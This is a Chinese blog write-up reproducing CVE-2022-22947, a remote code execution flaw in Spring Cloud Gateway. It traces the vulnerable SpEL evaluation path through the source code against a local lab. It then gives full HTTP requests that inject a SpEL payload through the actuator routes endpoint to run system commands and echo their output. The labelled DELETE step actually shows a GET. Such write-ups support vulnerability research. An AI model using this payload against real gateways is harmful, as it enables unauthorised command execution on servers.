CVE-2022-22947|CVE-2022-22947 Spring Cloud Gateway SPEL RCE复现


目录

  • 0 环境搭建
  • 1 漏洞触发点
  • 2 构建poc
  • 3 总结
  • 参考

0 环境搭建 影响范围:
Spring Cloud Gateway 3.1.x < 3.1.1
Spring Cloud Gateway < 3.0.7
【CVE-2022-22947|CVE-2022-22947 Spring Cloud Gateway SPEL RCE复现】p牛的vulhub已经搭好docker了,https://github.com/vulhub/vulhub/tree/master/spring/CVE-2022-22947
也可以本地搭建
git clone https://github.com/spring-cloud/spring-cloud-gateway cd spring-cloud-gateway git checkout v3.1.0 然后idea打开项目,再调试或启动

1 漏洞触发点 首先找到spring-cloud-gateway的commit记录,看看修改的地方,直接来到https://github.com/spring-cloud/spring-cloud-gateway/commit/337cef276bfd8c59fb421bfe7377a9e19c68fe1e
如下:
CVE-2022-22947|CVE-2022-22947 Spring Cloud Gateway SPEL RCE复现
文章图片

非常标准的spel表达式使用,代码在org/springframework/cloud/gateway/support/ShortcutConfigurable#getValue()方法中,搜索其调用位置
CVE-2022-22947|CVE-2022-22947 Spring Cloud Gateway SPEL RCE复现
文章图片

三个枚举调用都位于ShortcutConfigurable内部的枚举类ShortcutType中,且重写了不同的normalize方法,继续向上找ShortcutType#normalize方法的调用
CVE-2022-22947|CVE-2022-22947 Spring Cloud Gateway SPEL RCE复现
文章图片

最终都来到org.springframework.cloud.gateway.support.ConfigurationService$ConfigurableBuilder#normalizeProperties方法中,并且传入的时该类的properties成员变量,而normalizeProperties()方法的调用只出现在该类的父类AbstractBuilder.bind()中
CVE-2022-22947|CVE-2022-22947 Spring Cloud Gateway SPEL RCE复现
文章图片

继续向上寻找bind方法的调用
CVE-2022-22947|CVE-2022-22947 Spring Cloud Gateway SPEL RCE复现
文章图片

发现org.springframework.cloud.gateway.route.RouteDefinitionRouteLocator#loadGatewayFilters方法中不仅出现了bind方法调用,还出现了properties方法调用,跟进该properties方法可见对properties成员变量的设置,即前述的org.springframework.cloud.gateway.support.ConfigurationService$ConfigurableBuilder#normalizeProperties方法中向下调用spel表达式时恰好需要的properties成员变量。
由此即可知道该漏洞的触发可能来自于gatewayFilter的添加,并且从loadGatewayFilters方法继续向上跟踪调用如下:
RouteDefinitionRouteLocator.loadGatewayFilters <- RouteDefinitionRouteLocator.getFilters <- RouteDefinitionRouteLocator.convertToRoute <- RouteDefinitionRouteLocator.getRoutes <- GatewayControllerEndpoint.route

CVE-2022-22947|CVE-2022-22947 Spring Cloud Gateway SPEL RCE复现
文章图片

也可以看到确实来自于filter的添加。
所以思路可以出来,由于添加filter时输入了spel表达式,被当作properties进行解析,最终导致恶意表达式被执行,从而实现rce。
再从spring cloud gateway的文档进行查看
CVE-2022-22947|CVE-2022-22947 Spring Cloud Gateway SPEL RCE复现
文章图片

文档的11.5中提到,使用POST请求/gateway/routes/id 并使用json格式的数据,可以创建一个route,并且从前面的格式中也可以看到,支持添加filter。
但没有给出filters字段中具体应该怎么写,但没关系,我们从源代码可以找到
org.springframework.cloud.gateway.filter.FilterDefinition这个filter的定义类中,其成员变量如下
CVE-2022-22947|CVE-2022-22947 Spring Cloud Gateway SPEL RCE复现
文章图片

运行程序后,再mappings里面可以看到/routes/{id}这个uri对应的方法
CVE-2022-22947|CVE-2022-22947 Spring Cloud Gateway SPEL RCE复现
文章图片

跟进该方法可以看到对filter给进的name有验证
CVE-2022-22947|CVE-2022-22947 Spring Cloud Gateway SPEL RCE复现
文章图片

调试模型下可以看到允许的name如下
CVE-2022-22947|CVE-2022-22947 Spring Cloud Gateway SPEL RCE复现
文章图片

这里的每种name,实际上又对应了不同的GatewayFilterFactory
CVE-2022-22947|CVE-2022-22947 Spring Cloud Gateway SPEL RCE复现
文章图片

其中有个AddResponseHeaderGatewayFilterFactory可以向response hedder中写入执行结果,因此恰好满足回显要求
CVE-2022-22947|CVE-2022-22947 Spring Cloud Gateway SPEL RCE复现
文章图片

根据这里的getName和getValue可以知道还需要添加name和value字段
2 构建poc 根据前面的信息,可以逐步汇总出poc的样子,
  • 首先是POST /actuator/gateway/routes/{id}
  • 然后添加json body,其中需要给出id和filters字段
  • 其中filters字段需要给出name和args,而name的值需要设置为AddResponseHeader获得回显,args中需要name和value
最终poc如下
  • post请求创建route和filter
POST /actuator/gateway/routes/test HTTP/1.1 Host: localhost:8080 Accept-Encoding: gzip, deflate Accept: */* Accept-Language: en User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36 Connection: close Content-Type: application/json Content-Length: 329{ "id": "test", "filters": [{ "name": "AddResponseHeader", "args": { "name": "Result=", "value": "#{new java.util.Scanner(new java.lang.ProcessBuilder('cmd', '/c', 'ping', 'baidu.com').start().getInputStream(), 'GBK').useDelimiter('asfsfsdfsf').next()}" } }], "uri": "http://test.com" }

CVE-2022-22947|CVE-2022-22947 Spring Cloud Gateway SPEL RCE复现
文章图片

  • POST请求/refresh,使新建的uri和filter生效
POST /actuator/gateway/refresh HTTP/1.1 Host: localhost:8080 Accept-Encoding: gzip, deflate Accept: */* Accept-Language: en User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36 Connection: close Content-Type: application/x-www-form-urlencoded Content-Length: 0

CVE-2022-22947|CVE-2022-22947 Spring Cloud Gateway SPEL RCE复现
文章图片

由于前面使用的spel是ping百度的,所以需要等待一会,也可以换成其它命令,比如dir、ipconfig、whoami等
  • GET请求/actuator/gateway/routes/test,触发spel,并得到回显
GET /actuator/gateway/routes/test HTTP/1.1 Host: localhost:8080 Accept-Encoding: gzip, deflate Accept: */* Accept-Language: en User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36 Connection: close

CVE-2022-22947|CVE-2022-22947 Spring Cloud Gateway SPEL RCE复现
文章图片

得到ping命令的输出
  • DELETE请求删除/actuator/gateway/routes/test
GET /actuator/gateway/routes/test HTTP/1.1 Host: localhost:8080 Accept-Encoding: gzip, deflate Accept: */* Accept-Language: en User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36 Connection: close

CVE-2022-22947|CVE-2022-22947 Spring Cloud Gateway SPEL RCE复现
文章图片

3 总结 昨天在twitter上看到了这个rce,没有太注意,昨天晚上看到通报,感觉这个洞还是有价值的,想着今天来复现应该差不多,结果P牛昨天就把docker上传到vulhub了,y4er师傅也写出了分析文章,跟不上啊= =
p牛和y4er师傅用的是spring自带的类处理命令执行的返回字节流,我用的是之前找到的jdk自带方法,其实都差不多
参考 https://github.com/vulhub/vulhub/tree/master/spring/CVE-2022-22947
https://y4er.com/post/cve-2022-22947-springcloud-gateway-spel-rce-echo-response/

    推荐阅读